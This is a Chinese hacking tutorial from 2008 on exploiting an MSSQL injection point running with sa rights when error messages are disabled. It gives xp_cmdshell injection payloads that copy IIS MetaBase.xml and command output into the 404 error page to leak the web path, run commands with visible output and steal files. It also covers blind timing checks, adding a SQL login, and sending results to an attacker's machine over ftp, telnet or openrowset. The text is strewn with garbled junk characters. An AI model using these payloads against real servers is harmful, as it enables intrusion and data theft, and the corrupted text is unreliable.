遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。0 p% O$ r; H! S% Z' w4 |
! J4 L M* \9 v4 w! n) G
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
/ H, C% V. ~ f1 F: z1 U8 F: }: b3 {) \9 t4 o
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
3 M' {' c% n" H$ J. s! ]3 a: r/ y. c2 D9 j0 i- w
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
2 T9 a, j4 y9 n2 D# N2 m
5 w4 E! B8 [0 e1 B' u1 U- J/ C 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--* ]3 R" u/ P. B3 M! W
2 ? \$ a3 e7 E$ O ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。+ Y1 j/ [- D0 J! i3 J( M8 e: g
( X" q; r' R( t 执行命令得到回显# t3 r* W* B+ i: L. H3 ~1 u
0 V5 ~: F( L5 J8 D5 z9 | 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
% C* R4 D$ `3 J: E- W
7 [5 G) M' p+ C- A4 ^2 c 得到文件也shi相同,把文件copy到404b.htm就行了# c+ c) @ t1 \ r/ O3 Y$ x$ I
3 h8 C; R* r; n* S# E5 Y+ h: F
by 28ice, 2008/6/26' e6 ^; U" v) {& U1 b' Z# m% J2 \
$ a [2 }; h _% ~& Q9 _# m3 F 摘自 28度的冰
. U: a0 b6 s% T9 `7 u1 w( N$ Q' J( h
盲注判断权限和操作系统版本, c" g+ P. Z8 w( ?
6 Q8 q: W# P9 t 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢? f' J% s& s @
9 s( m( x: M* U/ A% T 最简单的,可能以用这样的方法:
2 p3 z7 n' S) S2 D6 B7 `# w
/ f5 N7 y2 m+ t 1=(select IS_SRVROLEMEMBER(’sysadmin’))8 Q3 e. M5 [/ Q1 j1 h8 v! e' f9 o
. K$ v9 p$ u. e. M' O% s 当然,有些情况下,这个方法并不奏效。
5 z% z! n+ w$ R, q* A
/ T$ P9 c7 V) s; R2 T4 d* G 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。 L ^& U* n2 M6 O: F- x# E! s
8 v4 R5 K3 J9 p 有个3办法可能以解决这个问题
: r* Y+ n! y1 z, d! ?2 O/ }5 P6 F" a# U: ]# V
a.把执行结果写到404b.htm,具体请看我的上一篇文章
* b' k% E2 I0 X# T# F: t3 j
5 q4 E6 l! M5 D b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
' u1 K2 u5 q& i0 t4 X G& A3 d- h9 N! s
c.如果1433端口可能以连接,那干脆新建个sql登录
8 S: g7 M j6 w! @$ ~1 G9 m) ^" \* \ n- K$ E
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
. t0 E& t7 }/ w; }7 l% @- z1 g9 T9 E1 l7 ^0 P8 v" F
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下/ j( H2 O, e, R1 i6 a# f
8 o3 s, {$ C- x9 |& H& {! T 很简单
9 V3 y% W/ x8 E) @$ h
/ k& u5 I& o2 N) B2 W8 U 执行systeminfo; R0 ~3 [' {4 _
$ T8 `. h R6 b. x) Y
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |